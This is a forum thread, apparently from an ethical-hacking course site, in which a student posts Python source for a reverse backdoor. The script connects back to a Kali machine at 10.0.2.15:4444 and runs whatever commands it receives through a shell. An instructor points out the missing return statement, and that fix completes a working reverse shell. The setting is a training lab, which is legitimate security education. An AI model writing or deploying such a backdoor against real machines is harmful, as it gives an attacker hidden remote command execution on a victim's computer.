Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #41413
    Peter Queen
    Participant

    Hello,

    I am having problem with executing command remotely. My kali connection works fine and I am able to establish connection but as soon as I type a command I get an error on the Windows target machine.

    This is the reverse backdoor code I run on the target machine:

    #!/usr/bin/env python
    
    import socket
    import subprocess
    
    def execute_system_command(command):
        subprocess.check_output(command, shell=True)
    
        
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect(("10.0.2.15", 4444))
    
    while True:
    	command = connection.recv(1024)
    	command_result = execute_system_command(command)
    	connection.send(command_result)
    
    connection.close()

    and this is the error I get:

    
    C:\Users\IEUser\Python>C:\Python27\python.exe reverse_backdoor.py
    Traceback (most recent call last):
      File "reverse_backdoor.py", line 15, in <module>
        connection.send(command_result)
    TypeError: send() argument 1 must be string or buffer, not None

    I tried to Google a solution but I could not solve it.

    Thanks

    #41424
    Diego PérezDiego Pérez
    Participant

    Hi Peter!
    You are nor returning the result of subprocess module in your function:
    def execute_system_command(command):
    subprocess.check_output(command, shell=True)

    You are just calling the module, so you need to return it’s output, if you don’t understand what I’m saying will recommend to watch the lecture again.

    Let me know how it goes!
    Diego

    #41485
    Peter Queen
    Participant

    Sort thanks Diego!, just added return

    #41560
    Diego PérezDiego Pérez
    Participant

    Hi Peter!
    Cool you got it!
    Diego

Viewing 4 posts - 1 through 4 (of 4 total)
  • You must be logged in to reply to this topic.
Privacy Overview
ZSecurity logo featuring a stylized red letter Z

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

Strictly Necessary Cookies

Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

3rd Party Cookies

This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

Keeping these cookies enabled helps us to improve our website.